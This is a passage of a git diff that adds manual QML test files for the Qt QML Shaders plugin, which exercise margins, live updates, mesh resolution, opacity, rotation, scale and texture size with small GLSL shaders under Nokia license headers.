+ text: "Mipmap: " + theSource.mipmap + ", Smooth: " + theSource.smooth
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMargins.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMargins.qml
new file mode 100644
index 00000000..1a0c4753
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMargins.qml
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ id: marginTester
+ anchors.fill: parent;
+ color: "green"
+ property real testMarginX: 10
+ property real testMarginY: 10
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (marginTester.testMarginX < 20) {
+ marginTester.testMarginX = 50
+ marginTester.testMarginY = 120
+ }
+ else {
+ marginTester.testMarginX = 10
+ marginTester.testMarginY = 10
+ }
+
+ theSource.sourceRect = Qt.rect(-testMarginX, -testMarginY, parent.width + testMarginX*2, parent.height + testMarginY*2)
+ console.log("onTriggered")
+ }
+ }
+
+ Image {
+ id: redrect
+ source: "image_opaque.png"
+ }
+
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: redrect
+ sourceRect: Qt.rect(-10,-10, parent.width + 2*10, parent.height + 2*10)
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.sourceRect.width == 0 ? "No margins" : "Green margins " + marginTester.testMarginX + "x" + marginTester.testMarginY
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMarginsWithTextureSize.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMarginsWithTextureSize.qml
new file mode 100644
index 00000000..0dafe547
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestItemMarginsWithTextureSize.qml
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ id: marginTester
+ anchors.fill: parent;
+ color: "green"
+ property real testMarginX: 10
+ property real testMarginY: 10
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (marginTester.testMarginX < 20) {
+ marginTester.testMarginX = 50
+ marginTester.testMarginY = 120
+ }
+ else {
+ marginTester.testMarginX = 10
+ marginTester.testMarginY = 10
+ }
+
+ theSource.sourceRect = Qt.rect(-testMarginX, -testMarginY, parent.width + testMarginX*2, parent.height + testMarginY*2)
+ }
+ }
+
+ Image {
+ id: redrect
+ source: "image_opaque.png"
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: redrect
+ textureSize: Qt.size(160,160)
+ sourceRect: Qt.rect(-10,-10, parent.width + 2*10, parent.height + 2*10)
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.sourceRect.width == 0 ? "No margins" : "Green margins " + marginTester.testMarginX + "x" + marginTester.testMarginY
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestLive.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestLive.qml
new file mode 100644
index 00000000..d17d7743
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestLive.qml
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.live = !theSource.live
+ theSource.grab() // This tests grabbing screenshot from static source
+ }
+ }
+
+ Rectangle {
+ id: greenRect
+ anchors.fill: parent;
+ color: theSource.live ? "green" : "red" // This works if we use grab()
+ property int counter: 0
+ Text {
+ id: counterText
+ anchors.centerIn: parent
+ text: greenRect.counter
+ font.pixelSize: 48
+ }
+ Timer {
+ running: true
+ interval: 100
+ repeat: true
+ onTriggered: {
+ greenRect.counter++
+ }
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: greenRect
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.live ? "live true (color green, number changes)" : "live false (color red, same number)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestMeshResolution.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestMeshResolution.qml
new file mode 100644
index 00000000..e4375a55
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestMeshResolution.qml
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "red"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ effect.meshResolution.width == 1 ? effect.meshResolution = Qt.size(40,40) : effect.meshResolution = Qt.size(1,1)
+ }
+ }
+
+ Rectangle {
+ id: thesource
+ anchors.centerIn: parent;
+ color: "green"
+ width: parent.width
+ height: parent.height
+ Image {
+ anchors.centerIn: parent;
+ source: "image_opaque.png"
+ }
+ }
+
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: thesource;
+ property variant source: ShaderEffectSource { sourceItem: thesource }
+
+ vertexShader: "
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ qt_TexCoord0 = qt_MultiTexCoord0;
+
+ highp vec4 shift = vec4(cos(1071. * qt_MultiTexCoord0.x + 1.0) + sin(2051. * qt_MultiTexCoord0.y + 1.0),
+ cos(1131. * qt_MultiTexCoord0.x + 1.0) + sin(3039. * qt_MultiTexCoord0.x + 1.0), 0, 0) * 3.0;
+
+ if (qt_MultiTexCoord0.x < 0.01 || qt_MultiTexCoord0.x > 0.99)
+ shift.x = 0.;
+ if (qt_MultiTexCoord0.y < 0.01 || qt_MultiTexCoord0.y > 0.99)
+ shift.y = 0.;
+
+ gl_Position = qt_ModelViewProjectionMatrix * (qt_Vertex + shift);
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect.meshResolution.width == 1 ? "Resolution (1,1) (image looks normal)" : "Resolution (40,40) (image looks distorted)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOneSource.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOneSource.qml
new file mode 100644
index 00000000..58776ebf
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOneSource.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "black"
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ font.pixelSize: 80
+ text: "Shaderz!"
+ }
+
+ ShaderEffectSource {
+ id: source
+ sourceItem: text
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ anchors.fill: text;
+
+ property variant source: source
+
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(qt_TexCoord0.x, qt_TexCoord0.y, 1, 1) * texture2D(source, qt_TexCoord0).a;
+ }
+ "
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOpacity.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOpacity.qml
new file mode 100644
index 00000000..df019066
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestOpacity.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (effect.opacity > 0.9)
+ effect.opacity = 0.0
+ else if (effect.opacity < 0.5)
+ effect.opacity = 0.5
+ else if (effect.opacity < 0.9)
+ effect.opacity = 1.0
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_opaque.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent
+ width: parent.width
+ height: parent.height
+ property variant source: theSource
+
+ fragmentShader: "
+ uniform highp float qt_Opacity;
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(texture2D(source, qt_TexCoord0).rgb, qt_Opacity);
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Effect with opacity: " + effect.opacity
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestRotation.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestRotation.qml
new file mode 100644
index 00000000..4b7cf757
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestRotation.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (effectWrapper.rotation < 45)
+ effectWrapper.rotation = 45
+ else if (effectWrapper.rotation < 90)
+ effectWrapper.rotation = 90
+ else if (effectWrapper.rotation < 180)
+ effectWrapper.rotation = 0
+
+ }
+ }
+
+ Item {
+ id: effectWrapper
+ anchors.fill: parent;
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_opaque.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent
+ width: parent.width - 50
+ height: parent.height - 50
+ property variant source: theSource
+ }
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Effect is rotated " + effectWrapper.rotation + " degrees"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestScale.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestScale.qml
new file mode 100644
index 00000000..76dde8df
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestScale.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ if (effectWrapper.scale < 0.3)
+ effectWrapper.scale = 0.3
+ else if (effectWrapper.scale < 1.7)
+ effectWrapper.scale = 1.7
+ else if (effectWrapper.scale < 2.0)
+ effectWrapper.scale = 0.1
+ }
+ }
+
+ Item {
+ id: effectWrapper
+ anchors.fill: parent;
+ scale: 0.1
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_opaque.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.centerIn: parent
+ width: parent.width - 50
+ height: parent.height - 50
+ property variant source: theSource
+ }
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Effect is scaled " + effectWrapper.scale
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTextureSize.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTextureSize.qml
new file mode 100644
index 00000000..9ae62fe5
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTextureSize.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.textureSize.width == 64 ? theSource.textureSize = Qt.size(360,640) : theSource.textureSize = Qt.size(64,64)
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image.png" }
+ live: false
+ textureSize: Qt.size(64,64)
+ smooth: true
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "textureSize:" + theSource.textureSize.width + "x" + theSource.textureSize.height
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwiceOnSameSource.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwiceOnSameSource.qml
new file mode 100644
index 00000000..c3940f65
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwiceOnSameSource.qml
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "black"
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ font.pixelSize: 80
+ text: "Shaderz!"
+ }
+
+ ShaderEffectSource {
+ id: source
+ sourceItem: text
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ width: parent.width
+ height: parent.height / 2
+ blending: false
+
+ property variant source: source
+
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0, qt_TexCoord0.y, 1, 1) * texture2D(source, qt_TexCoord0).a;
+ }
+ "
+ }
+
+ ShaderEffectItem {
+ width: parent.width
+ y: parent.height / 2
+ height: parent.height / 2
+
+ property variant source: source
+
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(qt_TexCoord0.x, 1, 0, 1) * texture2D(source, qt_TexCoord0).a;
+ }
+ "
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwoSources.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwoSources.qml
new file mode 100644
index 00000000..79c67ccb
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestTwoSources.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
